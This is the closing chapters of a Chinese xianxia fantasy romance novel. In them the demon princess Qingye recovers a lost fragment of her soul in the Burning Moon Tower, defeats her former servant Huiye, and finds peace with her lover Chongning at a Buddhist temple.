他们不过只相处了短短的几个月,就有人赶来,要将他们分开。 先是魔界中人,一个蒙着面的少年,带了不少魔将,特意挑选重宁在山上为青叶采药之时,包围了那个小木屋,将病中的青叶强行带走。 重宁背着木篓回到家时,便看见满地狼藉,他们一起种下的花儿倒在了破碎的花盆中,他早上刚砍完的柴火上留下了深深的魔气印痕,昨日刚刚修好的大门复又被掀翻在地。 而少女也早已不见了。 重宁的背篓落在了地上,草药跌落在地。 他要去找她。 重宁能够救她一次,便一定能救她第二次。 但狡诈的魔修也不会放过他,很快将消息透露给了仙界,无垢宗怎能让自己看中的预备圣子就这样与魔修厮混? 于是重宁也被强行带回了无垢宗,再次被关进了静室,让他思过。 他跪在无垢神君的神像前,垂着头,不明白为何自己只是爱一个人,竟变成了十恶不赦之罪。 飞升的神君也会判他有罪吗? 重宁不知道。 他只是握着手心中的护身符,那是他与青叶之间唯一的联系。 可那联系也变得很微弱,他感知到少女的生命和精神仿佛在一点点地被摧毁。 他不知道为什么,他拼命地向里面注入法力,可于事无补。 青叶没有再出现过,没有再依赖过他。直到一日,他听见了百年前来自她的最后一道声音。 “重宁,再也不见。” 然后,属于他的最后一点联系,也被切断了。 …… 与此同时。 青叶看见了百年前的自己,被送进焚月塔受尽折磨的自己。 被大妖恶鬼捉弄欺凌,蜷成一团,恐惧,害怕,却又无法逃离的自己。 那是她最不想面对的,曾经的模样。 那时的她想必也痛恨至极。痛恨自己为何是魔界的异类,为何身处炼狱,连唯一的光也被强行夺走。 痛恨为何自己如此软弱温柔,无法反抗父亲,对洄夜错付了怜悯,最后被他们联手送进了焚月塔。 她早该看清,洄夜不过是父亲的一条狗。 没有人能救她。 即使是重宁,也无法进入这被魔界封锁的焚月塔。 她脑中和他的联系太弱了,在塔内她再也听不见他的声音,那个害羞却执着的少年找不到她了。 她只能自己救自己。 青叶将重宁的名字刻在了塔壁上,然后封锁了自己的一片神魂。 ——那是曾经如此良善,却受尽欺凌的神魂。 她要抛下自己所有的软弱,才能在这里活下去。 而青叶也做到了。 她制服了所有曾欺辱过她的魑魅魍魉,能杀的都杀了,不能杀的也被她踩在脚下,成了她的奴仆。 焚月塔底层的塔壁上溅满了鲜血和污秽,她再也看不见曾经刻在那上面的名字。 她将过去忘却了,然后成为了更强大的魔。 第35章 青叶从遥远的梦境中挣脱, 回到了现实中的,昏暗的塔内。 那个小小的身影依旧牵着她的手。 神情柔软,担忧地看着她。 “姐姐, 别害怕。”小小的自己出声安慰,“已经过去了。” 荧光点点, 她虚幻的身体在这一刻显得格外真实。 “我知道,你将我留下, 是在保护我。我太软弱了,不及你坚强。” “你现在应该过得很快乐, 对吗?我能链接到你的灵魂, 你不像我一样总是哭泣了。” “我一直在这里等你,不敢打扰你,怕我的弱小带给你更多的痛苦。” 少女又微微笑了, “可你还是来找我了。” “所以,现在, 该我来守护你了。” 青叶微微一愣, 只见眼前的少女伸手触碰她的指尖,一股温暖的热流从此处化开。 青叶张开手掌,想要拥抱她, 少女走入了她的怀抱, 进入了她的身体。 一块被她遗忘多年的魂魄碎片再次回到了她的身体之中,与她合为一体。 青叶找回了从前的自己, 和曾经的回忆。 心脏如同一棵生长在春天的植物,萌发出了柔韧而坚定的力量, 随着血液灌注至四肢百骸。 她手掌间聚出一团淡紫色的魔气,流转之间,竟散发出比先前还要强大的修为。 焚月塔内万籁俱寂, 魑魅魍魉们皆察觉到她周身的气场,连呼吸都收紧了,不敢在她面前现身。 青叶握紧了手心。 原来软弱的过去并非是需要丢弃的累赘。 她逃避了许久的回忆,在此刻重新成为了她的一部分,那是爱与被爱的力量。 她轻抚着自己的胸口,垂着头,在原地停驻了许久。 有晶莹的水滴落在斑驳的地上。一滴又一滴。 青叶无声地落泪,时隔许多许多年后,她终于能够允许自己哭泣。 眼泪也不止代表着软弱。 那个小小的身影存储的小小回忆也落进了她的脑海中。 她身为灵魂碎片的状态,在焚月塔底层无虞地停留了百年,除了她以外,见到的另一个人,便是重宁。 青叶从前断绝了和重宁的联系后,他却并未放弃,始终对着护身符传输源源不断的力量,期盼能抵达她的身边。 他终于成为了圣子,得到了他想要的权力,直到百年后,他在玉京海边再次与她相逢。 可他们终究还是又经历了离别。 重宁又一次寻找她,踏遍了六界的领土,也曾涉足过魔界。 在焚月塔,他找到了青叶曾经遗留在此地的灵魂碎片,见到了她留在此处的那段意识,也知晓了她从前的一切。 直到在青叶真正愿意之后,他才陪她来到此地。 …… 青叶最终走出了焚月塔。 她在这里已经没有了遗憾,要出去寻重宁。她想,她现在很想见到他。 可塔外竟没了他的身影,虞九幽和他的军队也不见了,周遭只留下了剑气与魔气交锋的痕迹。 她手上的梦吟还在闪烁,这代表着重宁并未发生意外。 大约是眼见她进了焚月塔,虞九幽便将他引去了别的地方。 青叶顺着梦吟的感应一路深入魔宫。 破败的断壁残垣自她眼前掠过,青叶一路搜寻,来到了唯一未被烧毁的主殿之中。 可这里并未传来任何打斗的声音。 “重宁?”她轻声呼唤,试探地踏出了一步。 下一秒,她被一阵引力拉拽,仿佛被吸进了一个阵法之中。 进去之后,周遭仍是没有任何变化,殿内破败不堪,已许久未有人涉足此地。 可青叶身前五米之处,男人背对着她静静立着。 那是重宁的背影。 她下意识上前一步,却最终停下,反手掌一翻,现出自己淡紫色的魔气。 “洄夜,这种伎俩我不会再相信第二次了。”青叶冷冷开口。 ——在那段关于过往的记忆之中,洄夜便是假扮了重宁的身份将她带走。 造成了他们的第一次分离。 眼前人缓缓转身,他的容貌和身形也跟着他的动作随之改变。 一个瘦削鬼修的模样出现在她眼前。 洄夜低下了头,自嘲地笑了一声,“殿下真是好眼力。” 一眼就能分清爱人与仇敌。 青叶手中的魔气化作了一柄剑,她警惕地看着对方,开口道:“你是跟随虞九幽来到这里?” “重宁在何处?” 听到“重宁”二字从她口中说出,洄夜又笑了一声,“殿下见到我,也只会问他的下落么?” “我只是想来见殿下一面。” “我们没有什么好见的。”青叶毫不客气地说,“你已经不是我的下属,我们之间的契约也早已解除。” “是么?”洄夜垂下了头,“殿下连见都不愿意见我了。” 他甚至连她的恨都没有得到。 青叶眼中一片澄明坚定,她并不在乎他,只将他当做一个需要迅速移除的障碍。 青叶不明白此人还有什么好说的。是他背叛她数次,这副模样是做给谁看呢? 很小很小的她曾将洄夜当做第一个玩伴,最终并没有落得好下场。 离开焚月塔后的她也将他当做下属,要给他自由,得到的也只是他投向敌方阵营的背叛。 “我对你已经仁至义尽。”她不再看他,手中魔气化作的长剑在下一秒跟随主人出击。 若他非要纠缠,只有这一个结果。 洄夜躲过了青叶的第一道魔气,手臂颤抖一瞬,最终还是接下了她的下一招。 二人在曾经辉煌,如今已荒凉至极的大殿交锋,招招都是要致对方于死地。 见洄夜如此,青叶也不再留情,长剑直往他胸口而去。 ——然后径直将他刺穿。 鬼修流不出红色的血液,巨大的痛苦穿透了洄夜的身体,那痛却不只是因为胸口那把剑。 青叶收回了她的魔气,长剑消失在洄夜的胸口,他倒在了地上。 “殿下……”洄夜低声呼唤她。 他流不出血,更流不出泪,颤着身体向青叶请罪: “是我错了,一步错,步步错。” “我常常回想起小时候,回想起和殿下相处的时候。我只是一缕残魂,殿下却待我如人一般。殿下虽是魔,却有魔界罕见的柔软心肠。” “是殿下让我也懂得了爱。一个卑贱冰冷的游魂,竟也能爱上人。” “我跟随魔尊,后又跟随虞九幽,罪恶深重,我无法比肩那仙人,无法再保护殿下。” 青叶在心中轻叹一声。 曾经的曾经,他们二人还不是如今的模样。 可是再也回不去了。青叶也并不想回去。 可洄夜却悲痛万分地开口:“您不知我有多后悔,若能回到小时候,我绝不会为了修炼弃下殿下一人……若能回到宫变那夜,我绝不会一时因愚忠,置殿下于不顾。如今我怎么做,殿下也不会再依赖我了。” 他望着大殿尚未被烧焦的穹顶,仿佛能够窥见天空的一隅。 “若我没有在百年前将殿下和那仙人分开……若我有那胆量反抗尊上,将殿下带走,而不是将您送进焚月塔……” 是不是一切都会不一样? 至少,青叶不会如现在一般毫不留情地同他刀剑相向。 洄夜没有问出口,他不知道答案。 青叶也没有回答。 现在说这些,已经没有了意义。 “殿下……我没有机会见到殿下了。” 洄夜的声音越来越轻,直至青叶再也听不见。 他闭上了眼睛,身体在慢慢消失。 青叶不再看他一眼,转身出了大殿。 那些在过去困住她,让她无望悲伤的,如今已经烟消云散。 阵法消失,她复又感应到了重宁的存在。 青叶正要去寻他,指间戒指却越来越热,她低下头看一眼,再抬起头时,男人已经来到了她身前。 重宁收剑入鞘,衣不染尘,想来收拾那些人并没有费他太大的功夫。见到她时,他终于松了一口气,冷凝的面孔也温和下来。 重宁向她张开了手。 如倦鸟归林一般,青叶投入了他的怀抱。 “我很想你。” 不过才分开片刻而已,她已快不能忍受。《 》 【全文完】 第36章 “我在这里。”重宁将少女拥进了怀中。 他伸手轻抚她的发丝, 窥见大殿内散去的鬼气,便知晓了方才该是发生了什么。 他在心中轻轻叹息,并未因某位觊觎青叶的家伙死去而感到畅快。 重宁只是很心疼。 心疼她刚刚才在焚月塔经历了过去的洗礼, 在短时间内经历了那么多的回忆,如今又与旧时相识之人刀剑相向。 他将青叶抱了起来, 让少女可以伏在他的怀中,依靠着他的肩膀。 “我的阿叶受苦了。”重宁哄着她, 像对待一个很小的小姑娘。 她总是被迫要去面对许多复杂又痛苦的事情,在还是孩子的时候就要学着当一个大人去保护自己。 如今终于, 没有人能够再阻止他来保护她。 “虞九幽已经退败。”重宁安抚着怀中的青叶, “他带着残兵回他的老巢去了,想必近日不会再来打扰我们。” 青叶却还是担忧:“他迟早会卷土重来。而且……” 重宁明白她的未尽之言。 虞九幽并非只是为了所谓的扩张领土或是争权夺势,他心中怀着对仙界强烈的恨意, 被熊熊的心魔烈火所驱使,带领的军队也皆被心魔所困。 只要仇恨一日不消弭, 虞九幽恐怕便不会消停。 即使杀了他, 也一定会有下一个虞九幽。 但,青叶虽然不愿与虞九幽为伍,却也更不愿去和仙界讨价还价。 无垢宗为仙界之首, 明华率人围剿她的那一日青叶还历历在目。 她被迫跳下诛魔台, 与重宁分离。这笔账她还没有算。 重宁将青叶又蹙起的眉缓缓揉开,说道:“我们不回无垢宗, 再也不回。但,事情或许还有转机。” 他抱着青叶, 飞身而起,玉衡剑将他们带至魔宫的边缘地带。 此处,一位身着僧袍之人已经等候他们许久。 “阿弥陀佛。”那男子神色温和, 对着他们说,“我名为慧安,智清大师想请二位去佛门一叙,特派我来此地助二位扫清叛军之乱,以贵客之礼来相待。” 青叶这才知晓,此人在刚刚的战局中帮了重宁,前来请他们去佛门暂居。 她不禁想到多年前的心魔之乱,那好心做了坏事,引来无穷之祸的始作俑者……恐怕就是这位口中的智清大师吧?- 青叶最终还是和重宁一起来到了佛门。 依山傍水而建的青崖寺隐于松林之间,山水与禅意相融,风过松涛,似梵音过耳。 只是大约没人能想到,香火不断的佛门之地,竟也有这样一处阴暗隐秘的地方。 这里,囚禁着曾经的佛门长老,修真界的大能,智清大师。 说是囚禁,但依照慧安所言,智清大师是自愿将自己困在这暗无天日之地,不再与外人相见。 慧安领着他们走进时,饶是已经历过无数魑魅魍魉的青叶,也吓了一大跳。 重宁下意识地挡在了她身前,不让那刺鼻的腐臭接近她。 眼前的“人”已不能够称之为人。 智清大师已成了一张皮囊,连接着已腐败成丝状的四肢,他还能活着,大约全靠强大的神魂支撑。 只是如今看来,他的神魂也已摇摇欲坠。 青叶牵着重宁的手,走近了一步。 智清大师发出了低低的哑声,青叶甚至分辨不出那声音是从皮囊的哪一个部分发出的。 “你是……我徒儿的女儿……” “我终于见到你了。” 青叶听清了他的话。 看来,她父亲在修炼那吞噬心魔的功法前,便是智清大师的徒弟。 她叹息一声,开口:“你在研究出那功法时,可曾想过今天?” 本该是救人之道,却最终成了灾祸的开端。 智清大师的声音有些模糊不清,却还是挣扎着传达到青叶耳边:“我知我罪孽深重。” “这些年来,我隐居此地,耗尽了一身灵力与修为,在此地设下阵法,试图压制魔界因心魔而生出的瘴气。” “你父亲——魔尊慕沧澜感应到了我的阵法之力,我们便默契地守着仙魔界限,试图让当初灾祸涉及之人安稳度日。” “最开始,我与魔尊合力,尚能让魔修们如常人般生存,不至于遭心魔反噬。谁知,你母亲骤然离世,你父亲逐渐开始神智不明,最终没能逃过被心中怨灵吞噬的结果。后来,魔界动乱,我一人之躯终究无法再支撑下去。” 青叶静静听着,想起慕沧澜生前那些诡异疯狂的举动,原来都是来源于他本身的心魔。 真是可悲可叹。他若不入魔,便不会同她母亲在一起。可他入了魔,却逃不过遭心魔反噬,最终失去了妻子,让他唯一的女儿也痛恨他。 只是,又能怪谁呢?眼前这位始作俑者,最初也不过是出于天真的祈愿,盼望天下再无心魔之乱。而后便是漫长的忏悔生涯,将自己折磨至如今这般人不人鬼不鬼的模样。 智清大师的话断断续续,能够感觉出他如今已气若游丝,命不久矣。 他重重地叹了口气:“我很快就要死了。死后,我会将躯体散尽,融入法阵之中,做最后的努力。只是虞九幽如今实在张狂,我也不知日后修真界会走到何种境地,只能尽力维护这仅剩的和平。” “但不论如何,你是我最愧对的弟子沧澜的女儿,佛门会保护你,决不会让你被任何人所害……” “我不需要你们的保护。”青叶忽而开口。 智清大师是好意,可他和仙界的这些人终究是罪魁祸首,造成了她如今的坎坷身世,造成了仙魔如今的困境。 她不愿要他们的庇护。 仙人之中,青叶只信任重宁一人。 身旁男人握着她的手紧了紧,她心中安定几分,知晓这人和她是一样的想法。 她会自己保护自己。而且……重宁会一直在她身边。 “不过,”青叶话锋一转,“智清大师或许不必如此悲观。” 她想到了一个办法。 ——母亲留给她的保命之道。 既然她可以通过母亲留给她的功法压制心魔,那么,通过智清大师的法阵,或许也能使千万人免于被反噬的下场。 虞九幽之所以能控制他的军队,是因为控制了那些人内心深处的渴望与怨气。 若这阵法有效,他那看似浩荡的阵仗自然会被瓦解。 青叶将心中所想同智清大师道来,大师沉吟良久,道:“此法可行。” 他又不禁低低悲叹道:“是我对不起你们……即使我身死魂消,也要将肉身灵体都投进这阵法中,作为我最后的赎罪。” “我一人之力怕是还不够,小友放心,我会请仙界众长老一齐倾注修为,定要平息这场祸乱,此后不论是仙是魔,皆可平宁度日。”—— 那日的一场商议之后,青叶便和重宁在青崖寺住下。 智清大师强撑着那残破的躯体——或许已不能称之为躯体,将青叶从母亲那里继承的法诀与阵法结合,又命慧安即刻给修真界各大宗门高阶仙长传信。 青叶倒是没怎么去管他要如何笼络那些各怀心思的宗门长老们,她已做了自己能做的。 仙界要如何对付虞九幽,要如何重铸和平,这些都于她无关啦。 毕竟这两边的势力都曾经毫不留情地要将她逼进绝路。 唯有一个人,愿意接住她,不惜背离信仰,舍弃得到过的一切,无数次来到她身边。 他是青叶曾刻在焚月塔内的名字,多年后又重新回到她心中。 男人的面孔近在咫尺,睡在她身旁,即使阖着双眸,却还要紧紧握住她的手。 青叶轻轻抚摸着重宁的面庞,天光初醒,男人也缓缓睁开那双清潭般的眼睛。 映出了她的面孔。当真如同一汪水源,托起她,让她找到了归处。 重宁将她揽进怀中,珍重地吻她的额头,慢慢又吻上她的唇。 堂堂圣子大人,倒是丝毫没有在佛门清修之地收敛的想法。青叶在心里笑话他,却仍是亲亲他,赖在了他的怀抱中。 “青崖寺后山的玉兰花开了,今日想去看看么?” 他这样说,像是一个约会。 青叶当然不会拒绝。 清晨的风微凉,轻轻吹拂着二人的衣衫袖摆。 重宁的手心温热,青叶被他握着,一齐走过长长的青石台阶。 她曾以为自己再不会有这样的时刻。 平静且温柔。 青叶不禁细声开口:“活着还是很好呢,重宁。” “我已经很久没有考虑过死亡了。” “又说傻话。”重宁摸了摸她的发顶,“我们阿叶会长命百岁。” “重宁会永远在你身后。” 他们的分离已经太多太久,今后,他会让青叶的生命中只有安宁和快乐。 青叶笑了,牵着他的手,跳上又一节台阶。 他们的身后,一个小小的身影卖力地跑上来,声音是熟悉的清澈: “仙君!” “青叶姐姐!” 二人循声回头,只见江小芦手脚并用地爬着台阶,没多久就来到了他们身边。 “宗门接到了智清大师的传信,我就跟着掌门一起过来啦。” 他拍拍身上和手上的尘土,仰头朝他们一笑。 又有些难过地看向青叶:“青叶姐姐,我好想你。” 江小芦一直确信他的青叶姐姐不是坏人。 他的青叶姐姐是超级无敌好的女孩子。都是那群很坏的大人在污蔑她。 江小芦想,他也要和仙君一样,学会保护青叶姐姐。 青叶拍了怕小孩的肩膀,不禁感叹道:“小芦像是长高了。” “是呀是呀!”江小芦在她面前转了一圈,“我是男子汉了,不会让别人再欺负姐姐!” 江小芦是跟着掌门一同来到青崖寺,这似乎说明,从前对青叶还百般为难的明华也转变了态度。 只不过,江小芦仍是忿忿不平:“大人们都是见风使舵的人,我不喜欢。” “他们都说仙君不回宗门,被青叶姐姐拐跑了,那我也要被拐跑,我也不回去啦。”他任性道,又吐了吐舌头,“不过我是不会打扰你们的,星驰长老说佛门适合我修炼,所以我就来啦。” 重宁从来对江小芦都是放养,既然他从前的师父星驰愿意放他来,想必也是存着让这小孩历练一番的想法,于是便答应了:“小芦也长大了,可以自己做决定。” “好耶!”江小芦高兴地蹦跶起来,又突然想到什么,有些为难地看向重宁,“仙君,其实掌门这次带我来,也是为了让我劝你回去,或者,至少和他见一面。” 重宁闻言,垂眸浅笑,却只说:“不必了。” “今后,我只会陪在你青叶姐姐身边。” 曾经欺凌过她之人,就算是明华,他也不愿再见了。 重宁费尽心机走到如今,只是为了青叶一人而已。 她重新回到了他身边,那么其余的一切都不再重要。身份地位,掌门器重,不过是过眼云烟。 唯有青叶,是多年来生命中唯一的珍贵。 江小芦听了,便也不再劝说,毕竟他心里也十分嫌弃掌门做过的事情。 玉兰花瓣随风飘落,覆在了青石阶上。 青叶一手牵着重宁,一手拉着江小芦,三人如踏青一般,登上了青崖山的最高处。 云卷云舒,清风拂面,江小芦的发丝被吹到脑后,他有些好奇地问青叶和重宁:“听掌门和长老们说,有了新的压制心魔的法子,那以后,还会不会有魔修呢?” 青叶敲敲他脑袋,只道:“人心所至,处处生魔。” 追求世间纯白无垢,本就是不切实际的臆想罢了。 可惜从前的人并不能明白这样的道理,以至世间危难横行。 江小芦似懂非懂地“嗯”了一声,又被地上的花儿吸引了注意力,追着风跑去捉花了。 他的身后,两道身影始终立在一起,衣袖起伏间,再不是当初水中破碎的若有似无的贴近。 他们终是握住了彼此的手。 【全文完】《 》